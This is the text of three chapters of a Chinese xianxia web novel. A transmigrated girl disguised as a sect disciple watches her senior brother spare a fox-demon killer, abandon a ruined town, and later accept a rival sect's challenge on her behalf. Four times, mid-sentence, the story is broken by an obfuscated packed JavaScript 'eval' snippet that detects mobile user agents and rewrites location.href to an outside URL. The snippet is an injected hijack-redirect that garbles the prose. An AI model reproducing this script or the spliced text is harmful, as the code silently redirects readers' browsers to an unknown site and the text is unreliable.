他带着小乞丐低空穿梭其中,上下左右到处躲避,差点被绕晕。 向上飞,余光扫过身后大片倒塌的建筑和穷追不舍的人,他嗤笑一声:“你看,这就是你引以为傲的大师兄,那么多人都死了,他看都不看,还真是仙风道骨,不染凡尘呢。” 木音一张嘴,高空的风直往呼吸道灌,呛得她不停地咳嗽,咳出眼泪。 平复了会儿,她哑着声音,冷静地反问:“那你呢?是你往这边飞,这些东西才跟过来,下面那些人家才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089023|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭殃的。” 杀人魔低头看她一眼,没说话。 突然,赵飞衡闪现在二人面前,挡住继荣琴的去路。 谁都没想到他会突然冒出来,还敢挡在面前。继荣琴被吓了一跳,不得不中断快速运行的功法,悬停在空中,和他对峙。 赵飞衡散去隐身诀,伸手去拉木音,两张符箓从他袖口窜出,直奔继荣琴的脸。 见识过刚刚那几张符箓的威力,继荣琴丝毫不敢大意,抬手捏诀,凝聚出两把袖珍小剑,一把对准赵飞衡的脸,一张从后方绕行,袭击赵飞衡的后背。 小箭薄如蝉翼,行动之快,足以在高空中刺破空气,发出爆鸣。 赵飞衡看都不看一眼,精准抓住木音的左肩膀。 白皙修长的手指按在又脏又臭的麻衣上,继荣琴直直地和这只手的主人对视一眼,满眼讥讽。 他千辛万苦保住的替罪羊,岂是这种傻冒能抓走的? 这两柄小剑虽不足以要他性命,可一旦剑气入体,够他修养一阵子,吃吃苦头。 千钧一发之际,赵飞衡的眼中亮起零星金光,还有一丝藏不住的得意;继荣琴心头一跳,警铃大作,察觉到不对劲的时候已经来不及了。 一簇血花在空中绽放。 木音将金簪往胸口的方向推了推,然后扒拉开腰间的手,任由大师兄将自己拽走。 “你,胆子……胆子真大。”继荣琴死死拽住小乞丐的手。 心脉受损,他运气不畅,说话也断断续续的。他恨极了,嘴角渗血,眼球生出血丝,也死死盯住不放。 竹篮打水,一场空! “是你太小看我。我原以为你杀人劫货,要我做替罪羊,这妖物一出,足以掩盖你的罪行,我必死无疑。可你既不放过我,又要出手解决妖怪。你非要我做替罪羊,或者,是非要这里再次成为一桩命案,名动天下。我怎么可能如你所愿!” 边说,木音边将他的手指一根根掰开:“这点高度摔下去,你死不了。” 还没来得及把他扔下去,赵飞衡就拖着木音落到屋顶上。 木音余光一瞥,一根“藤蔓”呼呼地甩过来。 赵飞衡甩出符箓形成护墙,暂时将它们隔绝在外;木音就抽出大师兄的剑,架在杀人魔脖颈上。 “我连运行功法恢复的力气都没有,你还担心我杀了你?”继荣琴擦去唇角的血,笑得发邪。 木音握紧剑柄:“杀了那么多无辜的人,你该死。” 赵飞衡处理完地面上流窜的分支,大概摸清楚井妖藏身的位置,暗自松口气;扭头一看,那个胆大包天的小弟子竟然拔了他的剑架在那只狐狸精的脖子上。 赵飞衡:!!! 修仙门派和妖域向来井水不犯河水,更何况是最记仇的狐族,一群掉根毛都要追杀到死的疯子。要折腾,也只有修仙世家那种“两不沾”的愿意花时间。 “这位小师弟。”赵飞衡笑眯眯地靠近些,抬手按下剑锋,往另一边瞥去。从这个角度看,这张侧脸越看越脸熟。 他绝对在某位长老的画室见过。 水云门爱收藏画作、擅长画作的人极多,画人像的很少,上数他师尊,下到外门裴长老,不超过二十个。 “大师兄,你不用担心我,快去救其他人,还有好多人被压在泥墙下面。” 木音紧紧盯住和皮肉无缝接触的剑锋,一遍遍在心里给自己打气:可以的,她可以的,这里已经不是法治社会了。 等等! 她杀这个杀人魔合情,但合理吗,符合人族和修仙者的约规吗? 8. 8 赵飞衡出生在西南方舞曲大地的一个小村落,无父无母,从河流上游坐木桶漂下来。因为他生来脑袋上有颗瘤,村里人就喊他小瘤子。 小瘤子五岁拜一老道为师,得名飞衡,吃赵家村百家饭长大,就叫赵飞衡。 赵飞衡跟着老道遍游天下,寻医问药,治好瘤子;他天赋异禀,十岁筑基,堪称天纵奇才,百年难得一遇。 老道临终前走到水云门附近,传信上山。水云门掌门赶到时,老道已然仙逝,便将小孩儿接走,收为座下大弟子。 赵飞衡从小跟着老师父走南闯北,自认为见多识广,加上天赋卓绝,性格活泼,初来水云门丝毫不胆怯,挨家挨户串门儿遛着玩。 水云门上下三十二峰,只有一处地方令他发自心底的敬畏。 ——师尊的画室,宣睦斋。 宣睦斋是一座六角三层的阁楼,坐落在蓬莱阁旁的一个小山峰上,山风雨露经过竹篾编制的帘幕,滴滴浇灌,滋养珍稀植物。 赵飞衡第一次见这种没有窗户的阁楼,猎奇心一下子就上来了。 他翻窗而过,一脚踩坏两盆百年的烈焰花幼苗,还没蓄长的头发也被有灵识的烈焰花烧个精光,顶着有块粉嫩嫩的疤的大脑门在一楼哇哇大哭。 哭声惊动附近值守的弟子。 众人一看是熟人,面面相觑,只能先将他押送到掌门面前。 “掌门,你看你这弟子哈哈哈哈哈哈,看着乖巧,倒有几分顽劣,就那么巧,将那两株烈焰花的幼苗毁了,那株大的怕是奄奄一息,再难孕育第三粒种子。”头发还没掉光的鄂长老看着比自己先一步光头的小师侄哈哈大笑。 赵飞衡又囧又害怕,根本不敢抬头。 入门已有一段时日,他第一次觉得这精美贵气的白玉砖也太干净了,连鄂长老笑掉的头发丝都照得一清二楚,还有师尊一动不动的下巴。 师尊是不是气到不想理他了? 他会被逐出宗门吗? “或许是这烈焰花命中当有此劫难吧。”掌门叹口气,走到小弟子面前,轻轻拍了拍他光溜溜的后脑勺,“今日在宣睦斋的见闻,不要告知第三个人。好了,出去吧。” 赵飞衡从小就会察言观色,哪怕没看到师尊的脸,只听那几句话,他也意识到自己闯祸了。 但师尊没有责罚他。 赵飞衡一个人跪在宣睦斋门前,跪了一宿。 天将亮的时候,师尊用一个纸鹤传信,引他进入宣睦斋,上二楼。 一幅画像垂挂在东侧,紧挨着画像的桌上有一盆枯枝,看花盆的样式和枯枝的形状,是烧光他头发的烈焰花。 “为师知道你是个好孩子,心里有愧。那株烈焰花的主人已经离世,花有灵识,活不了太久。你诚心想道歉,就对着这张画上的人鞠一躬。” 赵飞衡竖起耳朵,把师尊说的每一个字都记在心里。 他小心翼翼地问:“师尊,弟子斗胆,想知道画上这位前辈的名字,可以吗?” 要是师尊发怒,一气之下将他逐出师门,他就在水云门附近找个地方住下,日日为这位前辈上香祈福。 师尊沉默片刻,斟酌字句,道:“他是一个很好心的狐狸。” 妖族?前几年修仙世家玉家和狐族结下仇怨,死伤无数,原因不明。动静之大,原因之迷离,连茶馆里说书的先生随口编上一段都有人捧场叫座。 同为修仙者,理当认为狐族有错。 但是,师尊竟然会收藏狐族的画像,还想挽救他的花! 赵飞衡一边感慨师尊有情有义,实乃正道楷模,仙门榜样,一边欣赏画像上那人的容貌,有一说一,这张脸当真好看,不知他和师尊是何关系,师徒? 不对,他可是大师兄,师尊唯一的弟子。 那便是挚友了。 往事穿云破雾而来,画像上的那张脸和眼前这人渐渐重合,他突然意识到,这个狐狸精或许是师尊的故人之子。 “师弟,等一下。”赵飞衡夺回剑,甩出两张符箓将狐狸精定在原地。 “大师兄,你干什么?” 见杀人魔被困在原地,动弹不得,木音下意识伸手去抢剑。 大师兄一把抓住她的手腕,冷声道:“师弟,你冷静下来。我带你回宗门。” “回什么宗门?你回宗门,那些人怎么办?他怎么办!”木音气红了眼睛,情绪有些失控地大吼。 耳边尽是房子倒塌的轰鸣和人们奔跑乱窜的哭喊声,只要她向两边瞥一眼,就能看到那些活生生的人像野兽一样,被驱逐,被狩猎。她不敢看。 她望着大师兄的眼睛,拼命摁住那道发自内心的声音:他是大师兄啊,最好最好的大师兄,怎么可能见死不救呢!假的,这个世界肯定有哪里出问题了。大师兄怎么可能坐视不理! 继荣琴看着近乎抓狂的小乞丐和冷冰冰的名门子弟,嗤笑出声。 仙,怎么会爱人?可笑! 这道轻笑声彻底激怒木音。她气势汹汹冲过去,伸手要掐住杀人魔的脖子,质问他,指责他。 一道淡蓝色的能量墙让木音寸步难行。 大师兄设下的符箓正在杀人魔的两臂上飘荡,幽幽蓝光慢慢散开。 ——大师兄在保护杀人魔。 为什么? “大师兄,你知道他是谁吗?那边,那棵大树的方向,那条街上有一家百里旅舍,里面死了好多好多人,都是普通人,被他用法术杀了,还有一个很好很厉害的普通人,也被他用法术杀了。大师兄,你要护着他吗?” 木音怀疑自己的脑子坏了。 她明明怕死怕得要命,却发了疯似的想要那柄剑;她明明很喜欢大师兄,现在却胸口发闷,控制不住地想哭。 哪怕大师兄伸手抚摸她的头顶,用很轻很轻的力道,她还是很生气,很难过。 她想去抓大师兄的袖子,去求大师兄救救那些人,但她动不了了。那个蓝色符箓不知何时贴在她身体的某一处。 她被大师兄扛在肩上,睁眼看自己之前不敢看也不敢面对的一切。 “得罪了。”赵飞衡彬彬有礼地行过礼,提起狐狸精的后衣领,带两人往山坡上飞。 有人看到在房顶上的他们准备离开,跌跌撞撞跑过来,高举怀里的孩子,嘴里似乎还在喊着什么。木音听不见,也不敢看那人的眼睛,眼珠子乱转。但她躲不开。她只能睁眼看着那人和孩子都被妖物卷走,留下一地的血腥味。 木旗镇,没了。 飞到一处坡顶,赵飞衡将人放下来。 他撕下狐狸精的定身咒,拱手行平辈礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089024|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“水云门无意与狐族起纷争,还请道友打哪儿来的回哪儿去。木旗镇十里外树林的血案,水云门对此一无所知。下次想来,道友不必再这样大张旗鼓,递信问山门即可。水云门不惧世俗之见,修仙世家也管不到我们头上。” 继荣琴掸掸肩膀上的灰尘,慢悠悠问道:“不愧是三大仙门之一的水云门,大师兄慧眼。不过,我化作人形,和狐族有什么关系?” “狐族与玉家放不下当年的旧怨,近日又起争端,道友若不想沾惹是非,还请低调一点。今夜水云门有贵客来访,不宜招惹事端。道友,请回吧。”赵飞衡不想多说,三两句就下逐客令。 继荣琴冷哼一声,瞥一眼小乞丐,勾起唇角露出一抹似有若无的笑意,转身飞走。 等人走远了,赵飞衡撕下小师弟头顶的符箓,摸摸他的头,温柔地问道:“刚才可有吓着?” 木音摇摇头,不想看大师兄的脸。 她被大师兄牵着走下山,来到木旗镇城墙下。天亮时,她曾在这里仰视这座城镇,满心欢喜和憧憬,而现在,黑夜沉沉,这座城镇在快速崩坏,成为历史中一个毫不起眼的悲剧。 城墙下有三三两两逃出来的人们,看到他们,尤其是身着金边蓝纹仙袍的大师兄,红肿的眼睛里亮起光,飞扑到他们面前,不停地磕头。 “仙长,求求你仙长,求求你救救我们,救救孩子。”老者低声哭泣着祈求。 他身后的几个壮年将怀里的孩子推过来,老人牵住小男孩的手,看向年纪相仿的木音:“小仙长,求求你……” 木音还没说话,一根带子遮住她的眼睛,她能清晰地听到大师兄在她脑后扎结的布料摩擦声。 “木旗镇虽有水云门庇佑,但也是邪修、妖修的眼中钉。山中救援不及时,此等祸事会一而再,再而三地发生。你们当如何?”大师兄开口问道。 相比和那个杀人魔说话时的客气,大师兄开口给木音一种装装的感觉,而且一句话便将自己摘干净,屎盆子扣在别人头上。 老者连连磕头:“求仙长相救。” 越来越多逃出来的壮年围聚过来,高喊着“求仙长相救”的话,一遍遍磕头跪拜。 “我救不了你们,你们需要自己救自己。”赵飞衡从储物袋中拿出一根比牛腿还粗的火柴棒,轻轻在空气中擦过一小段距离,火柴棒遇风则燃,火光猎猎。 他将火柴棒递给面前最健壮的男子:“此物克制井妖,井妖的气息散尽,它自会熄灭。” 一群人磕头拜谢。 “这孩子,你们也带回去。仙门收有资质的孩子,若有缘分,这孩子可以参加今后的升仙考试测资质。等木旗镇重建完毕,镇上的孩子仍有机会进入仙门。”赵飞衡牵起小孩子的手,交到老者手上,再从储物袋里拿出一个包子,一并递给老者。 一群人又开始磕头拜谢。 掏出法器,赵飞衡将小师弟抱到一叶舟前端,解开带子的结,语气温和地说:“我这就带你返回宗门。嗯?吓哭了?” 木音和大师兄相对而站,正好看到那群人跪在地上,一身灰扑扑的,老人手上的白包子和壮年手上的火把格外显眼。 那么多人,只有一个包子;镇上到处都是妖物,只有一把火。 修仙!要想活下去,她必须修仙! 9. 9 大师兄带木音回宗门,一叶舟直达盘云峰。 正值深夜,各大主峰灯火辉煌,热闹非凡,唯有盘云峰的万来殿一片寂静,偶有几个弟子进出走动。 “大师兄,你从秘境回来了。” 领头走出万来殿的一名弟子主动停下作揖,打过招呼后,目光垂向低头看地砖的黑漆漆小豆丁:“大师兄,这位是?” 木音低下头,眼观鼻鼻观心,尽量降低自己的存在感。 她还没想好混进仙门的办法。 靠资质入门已不可能,外门弟子私闯下山罪加一等,要想留下来继续修仙,还真是个大难题。哎~ 赵飞衡轻拍小师弟的肩,算是安慰:“这是我从木旗镇上捡到的小师弟,应当是偷偷跑下山玩耍,不巧碰到妖物横行,我便将他带回来。” “偷溜下山?小师弟还真聪明,这几日山上忙得很,正是下山转转的绝佳时机。”右边头戴玉冠簪黑色簪子的少年心直口快。 一句打趣,让其余两人脸色刷刷变黑。 山中修行苦闷,偶尔有弟子提前找机会溜下山逛一逛是常事,只要不说破不告密就行。 赵飞衡出门历练前曾在执法长老身边帮忙,熟知宗门规矩,不少人都被他当场抓个现行,扔到后山面壁思过。 其雷霆手段,令人生畏。 中间领头的那名弟子面容严肃,一巴掌拍在他肩膀上,呵斥道:“尚未筑基的弟子不得下山,这是门规。当着大师兄的面张口就来,回去我定告诉师父神思松散,懈怠修炼,罚你去面壁思过。” 另一个弟子在冲他使劲眨眼,眼皮子差点抽搐。 玉冠黑簪少年这才反应过来,怯生生看两位师兄一眼,面露愁容,小声求饶。 “林师弟心直口快,墨师弟就放他一马吧。” 大师兄主动退一步,说起另一件要事:“此次出门历练前,我听说含韵长老正在养伤,便未得机会拜见。有弟子从南寒之地采来雪莲,雪莲是疗伤圣药,我在记录簿上看到上水峰派人取走,不知长老现下伤势如何?” “多谢大师兄挂念,大师兄宅心仁厚。”墨瓷英拱手道:“师尊的伤势已好得七七八八,昨日还和长崎派那些野蛮前辈比武论道呢。” 长崎派? 木音通读全文,知道三大门派各有千秋,水云派擅法术,昆仑派擅阵法,而长崎派驻守北寒天险,文明火种极难传承,宗门弟子虽擅体术,天赋不错,但疏于文化传承,行走在外经常闹出笑话,因此经常被其他两派暗地里笑称“野蛮人”。 野蛮,即未开化的意思。 “两位师弟慎言,此地距离招待宾客的主峰只隔两个山头,当心被师尊听见。”赵飞衡小声提醒三位师弟。 四人相视一笑。 林游小声说道:“我们出来时,鄂长老还在宴席,看在大师兄的面子上,应当不会有其他人告发我们的。” 话音刚落,木音余光扫到一抹亮红色,紧接着,一股从未有过的热浪扑面而来,气势汹汹,足以将她当场泯灭。她只觉得眼前一热一白,紧接着,整个人被人拦腰抱起,夹在腰下,飞入空中。 什么东西! 青瓷砖地面被砸出一个大坑,碎砖细土在火光中纷纷扬扬落下。待灰尘落下,木音才看清罪魁祸首——长棍斜·插入大地,棍上有九头五爪龙族盘旋,隐隐有紫光盘旋,凶狠逼人。 好厉害的棍子! 紧接着,一道身影飞射而来,直奔万来殿;速度之快,凭木音的眼力难以看清,只能靠直觉判断:这家伙一旦打中万来殿,万来殿绝对坍塌。 将她拉到树林避险的大师兄和其他三位同门师弟齐齐飞过去,伸手去接那人。 “砰”,万来殿倾刻间灰飞烟灭,只剩一点地基。 “简鹰道友,何故砸我盘云峰,坏我宗的万来殿?”赵飞衡悬停在空中,语气冷淡,目光直逼追来的人影。 简鹰手握一把剪刀式的宝器,身形一顿,宝器收回,拱手道:“我道是谁在我们比武助兴时说这话,原来是贵派大师兄啊,那就不奇怪了。赵飞衡,你莫不是忘了今晚是你水云门宴请我长崎派?我和这个大块头比武,给贵派宴席助兴,不小心失手罢了,何必气势汹汹来追责,扰人兴致。” 此话一出,不仅跟在赵飞衡身后的三位师弟齐齐变了脸色,从大殿上追过来的十数人也慢下脚步。 木音站在下方观望,先是被那句“简鹰道友”雷得不行,再听这家伙说话阴阳怪调,更坚定内心的猜想,但还有一些疑点理不清。 ——简鹰,文中的男N号,凭一张阴阳怪气无敌嘴替女主出气,博得不少好感。 不只女主喜欢这嘴替,不少读者也喜欢。到了后期,这位长崎派唯一张嘴的“好男人”更是一怒为红颜,为女主携同门弟子攻上水云门,彻底撕破三足鼎立的和平局面,为水云门覆灭添一把柴火。 如今看来,《师妹和她的108个男人》中还有一些细节没有提到。 首先,简鹰是个“老”男人。修仙界更古不变的硬道理是论资排辈,细说跟脚。简鹰敢和水云门大师兄叫板,自身身份必然不简单。 而和他对峙的,大师兄,曾被女主以身份悬殊委婉拒绝的某大师兄……木音默默在心里为前任偶像点根香。 其次就是简鹰对水云门的态度。在原著中,简鹰乃至整个长崎派与水云门都没有明显的矛盾,甚至因为昆仑派擅群攻的阵法,两派经常合作,虽有嘴角摩擦,但总体是和谐的一家亲状态。 看现在的情况,合作是假,吞并是真。 后来简鹰跟随女主覆灭水云门,简直是完全顺遂长崎派的心意,顺势而为。 “就算是比武助兴,你下手怎能没个轻重!万来殿已毁,这是不争的事实,你好声道歉就罢了,我们水云门不是不讲理的地方。没想到,你竟然将脏水泼到大师兄身上,你还要不要脸!”林游义愤填膺,两句话全说在附近看戏的水云门同门心里。 万来殿是水云门外门根基。大师兄是水云门众望所归。长崎派弟子此时的所作所为,遇事露出的这等嘴脸,实在可恨。 简鹰冷哼一声,四下环顾,目光所及之处,无论是哪个门派的弟子,纷纷低头,不敢直视。 木音躲在树林里,自然被他的目光扫到。 此刻她正在思考事情,目光中毫无畏惧之色。和其他人相比,她这种表现,自然引起简鹰的注意。等被看第二次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089025|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她才后知后觉,毛骨悚然,腿都软了,总觉得简鹰那种心思深沉的家伙不会轻易放过自己。 怎么办?刚想找机会转圜就被大佬盯上,她还有机会挽救吗? “哼,你们水云门还是有几个有胆色的。嗯,毕竟人有眼拙,事有意外,整个中神州地广人多,总会收几个好苗子漏进来。”简鹰讽刺道。 “你!”林游刚想说话,顿觉有股杀意锁定自己,后背直冒冷汗,话也说不出来。 赵飞衡挥袖一扫,散去他的威压,冷声警告:“简鹰道友,这是水云门的地盘,你出言不逊,辱我宗门,是想抹黑你师尊的脸面?” “真好笑,一个破房子就能摸黑我师尊的脸面了?你水云门的脸面可真不值钱,我长崎派和你水云门并称三大仙门还真不好意思。”简鹰嘴不饶人,哪怕附近山头几道杀意锁定自己也浑然不惧,挑挑眉继续看赵飞衡。 赵飞衡一向嘴拙,说不过他,继续狡辩也是自取其辱。 他就喜欢看人不自量力。 “大师兄,让我和这位简鹰道友比一比,算是为今日宴会的来宾助兴。”一直沉默的墨瓷英主动请战。 赵飞衡沉默,用眼神示意他退下。 师尊和诸位师叔还未出手制止,显然是被另外两宗的长老缠住。 如此一来,比武是免不了的,但简鹰性情桀骜,又擅谋算,今夜是水云门的大日子,一招不慎,很可能给宗门抹黑,他不能出手,林游、墨瓷英等几位师弟师侄也不能。 “啧,你别看你大师兄,你想和我比我就得和你比?想的美!”简鹰话锋一转,白了林游一个白眼。 四周看戏的人立即窃窃私语。 木音也皱起眉头。这家伙思路也太跳脱了,想一出是一出,他之前咄咄逼人,不就是想揍水云门人一顿,出个风头吗?现在是什么意思,不比了? “简鹰道友,你这是何意?”赵飞衡稳住语气,出声问道。 简衡头一瞥:“何意就是没意思,我不想被人挑萝卜似的挑来挑去,不如我来选,若是比我修为高,则我自封修为,若是比我修为高的,则他自封修为,如何?也当是给今夜的宴会添点乐子。” 此话一出,不少人跃跃欲试。 他们忌惮简鹰不就是因为他修为高,肉身坚不可摧,刀枪不入。自封修为后,肉身的坚固时长也会随之下降,水云门最擅法术,只要时间拖得够久,来点五行法术去骚扰他,何愁没有痛扁这家伙的时候? 这些人想到的,赵飞衡能想到,水云门各峰长老能想到,木音也能想到。 此刻,所有人都有一个疑惑:简鹰,疯了吧? 此想法一出,木音突然感觉脑门发热。抬头一看,简鹰正似笑非笑地看着她,直把她看得毛骨悚然,这家伙才手一指,笑道:“我要和她比。” 赵飞衡:? 林游、墨瓷英:? 诸位长老和赴宴宾客:? 木音:??? 怎么回事!怎么会这样!她躲过初高中六年的校园霸凌、老师不公,躲过大学宿舍的舍友欺凌,怎么刚来这个世界就碰上宗门霸凌! 不,水云门自诩正派,定不会让她一个弱鸡上的,吧? 10. 10 云霄殿上座,三宗话事人坐在首位,其余弟子按资排辈依次往下坐。 长崎派武定长老从水雾中看到简鹰指明对战小孩的画面,冷哼一声:“一个炼气期的娃娃能有什么实力,简鹰师侄此举莽撞了。” 水云门一众人刚才看得热血沸腾,恨不得冲出去和长崎派的简鹰一决高下,这会儿听到他家长老说这话,一时间面面相觑,不知怎么接话。 这不该是他们说的嘛? 长崎派这帮大老粗说话不动脑子,真会给人出难题。 水云派掌门和几位长老密语传声交流一番,再看绮珊师妹独坐在一旁喝茶,心里叹口气,面上笑道:“道友言重了,简鹰师侄心直口快,你我知晓。刚才那番话还真不客气,不过,今日只有三宗在此,若多一些小宗门,说不定今夜之后,修仙界就会有谣言说两派不合已久之事。” 武定长老哈哈大笑:“道友这话说的,我长崎派虽然嘴笨,但心热。甭管外界怎么说,三宗是一家亲,这是不可改变的。” 鄂长老今日特意坐在角落里,东张西望找机会。 若非简鹰提议比武助兴,点燃殿内气氛,他早就撤了;眼下掌门正和长崎派最精明的家伙扯皮,张口闭口都是漂亮话,话里话外听得人头晕眼花。 他有点想溜了。 “鄂师兄,你说那小孩会应吗?”绮珊一句话让鄂长老伸出去的脚默默收回来。 瞄一眼掌门的方向,鄂长老用略带讨好的口吻说道:“好师妹,放老哥一马。你知道我,这地儿我坐不住。” “什么?师兄你说什么?”绮珊长老故意放大音量,引来周围不少人的注目。 鄂长老老实了。 “咳咳,师妹所言极是,我也觉得这小孩会站出来。”他佯装自问自答,目光却穿过三重人影,直奔上座的掌门。 掌门果然不负他所望,一脸稀奇地转过脸问:“师妹竟也对此事感兴趣?” 绮珊长老:…… 绮珊长老端起一杯茶,抿一口:“掌门师兄,修仙界人心险恶,退一步并非海阔天空,进一步未必粉身碎骨,掌门师兄不如看看飞衡师侄会如何处理此事。” 掌门点点头,深感认同。 鄂长老如芒刺背,目不斜视,心里骂骂咧咧:多年不见,师妹功力不减,惹不起惹不起。 新入门的小徒弟坐在绮珊后面,满脸崇拜地望着自己的师尊,暗自下定决心,以师尊为目标,努力修行。 见师尊在意事情的走向,玉清风也将目光放在大殿中央的水雾上。 水雾的边缘被墨色树林染黑,脏兮兮的小孩仰头看天上的师兄,抿唇不说话,眼睛里有一抹亮晶晶的色彩。 “大师兄,这不妥。”墨瓷英上前,“就算自封修为,炼气期的简鹰道友肉身坚固,远非那位师弟可比。道友,还请另择一位对手。我水云门弟子众多,不惧一战。” “急什么?你家大师兄说话了吗?”简鹰嗤笑一声,白眼奉上。 “你!”林游正想冲过去揍他一顿,顺势化解此时的困境,右脚刚迈出一步,一只手挡在身前。 ——大师兄拦他。 “大师兄?”林游不解。 为什么拦他?刚刚他已经捏诀,只待冲出去打简鹰一个措手不及,这局面不攻自破,大不了回去之后被师尊责罚一顿,面壁思过几天。 木音正在树林里看戏,耳边忽然传来大师兄的声音:“师弟,这位前辈想和你切磋一下,你意下如何?” 意下如何? 这还用问,这不就是想要她去吗! “大师兄,我修为低微,出身寒微,没有点傍身的本事,我担心给宗门丢人。”木音……不想去。 万一磕着碰着,这黑心宗门十有八九连药都吝啬给半粒。 她个死了都有人嫌弃的穷光蛋,哪有钱买药材?她大学又不是读医的,再回到荒郊野外,山上的野草都认不全,毒蘑菇一采一个准,死了恐怕都是笑着死的。 “无妨,这位前辈心思跳脱,他若是下手太重,你就找机会躺地上。你既迎战,足以表现诚意。是输是赢,不是由胜负决定的。” 大师兄似乎心里已有对策,最后一句输赢不是由胜负决定,直接将木音推向绝路。 此战,避无可避。 这不是个人恩怨之战,事关宗门,她不得不站出来,虽然她是一个可怜的外门杂役。 “好!” 简鹰眼前一亮,双手抱拳环顾四周:“诸位不愧是水云门人,有气魄。那我便按照约定,自封修为为炼气二阶。” “噗”云霄殿中,不知是谁先喷出的第一口茶,议论声突然炸开,此起彼伏。 “长崎派好不要脸。” “恃强凌弱,长崎派若是助长此风气,恐怕难以长久。” “这位简鹰道友是何意,刚才那番话算是心直口快,言多必失,那现在这是,这真是来助兴的?” …… 片刻之间,众说纷纭,各种猜测纷纷落入各大长老的耳中。 昆仑派从始至终默不作声,并严格约束门内弟子,不说不做只吃饭。绮珊长老几次望过去,对方连一个眼神都没回敬,两只眼睛都在汤碗里。 “掌门,这简鹰师侄此举何意啊?”有长老秘密传音。 掌门皱紧眉头,瞄一眼比他脸色更难看的武定长老,一时间也没有主意。 武定这家伙的性格堪称长崎派的代表:有什么事都写在脸上。此刻,恐怕他自己也蒙在鼓里,完全不知简鹰的打算。 盘云峰上,简鹰降落至地面,封印修为;木音从树林里走出来,学着对方的样子,有模有样地行礼。 礼一出,笑声起。 “赵飞衡道友,你们水云门不是自诩教化门人,不论内门外门,不论资质如何吗?怎么你身边的小师弟连行礼都不会,还敢跟我行平辈礼?”简鹰收起笑脸,咄咄逼人。 赵飞衡皱起眉头,有点怀疑这小师弟怕是个乌龙。 不过,眼下还有更重要的事要弄清楚。他轻叹一口气,刚开口,却被下面那个小豆丁抢了先机。 “道友此言差矣。” 木音深吸一口气,稳住心神,梳理思绪。能不能给天上那些修仙的留下好印象,就看这一刻了! “道友明知我修为低微,却愿意自封修为与我比试,为我水云门今日之宴席助兴,我不与道友平辈相称,岂不拉低道友的身份?” 一句话便扭转乾坤。 掌门面容缓和,隐约有一丝笑意。 武定长老还没跟上思路,眨巴眨巴眼睛,感觉这句话有点道理,但又感觉好像哪里有点不对。 “这小弟子怪有意思的,是谁的弟子啊?”鄂长老仗着位置靠角落,悄悄问四周。 这大殿之上的与会者,总有那么几个喜欢用风语咒偷听旁人说话的,鄂长老算一个,武定长老紧随其后,多听几句便明白话里有话,暗中戳刀子。 “哼,水云门弟子向来口舌伶俐,没想到这点年纪就精通话术。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089026|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“武定道友谬赞,我看贵派的简鹰道友就很不错。哎,可惜啊,我那徒儿是个老实人,生来嘴笨,比不得比不得。”掌门实时跳出来,再补一刀。 ——简鹰聪明又如何,作为带队长老,武定压根制不住他。 武定长老转一圈想明白这话的意思,气到不想说话,只冷哼一声。 三言两语之间,水雾中一大一小两人以极快的速度缩小距离。更准确地说,是简鹰单方面跑过去,速度之快,气势之强盛,木音真想现在就躺下装死碰瓷。 但不行。 “道友,等一下~”木音提高音量,差点吼破音。 万幸,简鹰停下来了:“还有事?” “刚刚没有人说开始,不算。”简鹰面露疑惑,木音好心的、慢悠悠地解释道:“既然是比武助兴,此地没有舞台,更没有宾客,给何人助兴,何人见证?我知道友一心为我水云门,我亦感谢道友拳拳相护之心,烦请大师兄做个见证,今夜,你我同为水云门付出过。” 冗长的一段话说完,木音差点被对方变化多端的脸色吓哭,还好,她挖空上辈子写演讲稿、讲PPT的脑壳和胆量,将棋子再往前推一步。 简鹰对这段故意占小便宜的话嗤之以鼻。 无知小儿,那些人不在场,有的是办法看此时此地的状况,何须见证?不过是为了一点口舌之利。 “师弟所言极是,老师不在此地,我自当代为见证。”赵飞衡从善如流落下来,朝云霄殿的方向鞠一躬,转身站在两人中间。 简鹰:……无妨,雕虫小技耳。 “师弟,这样可行?” “可以。” “那么,开始。” 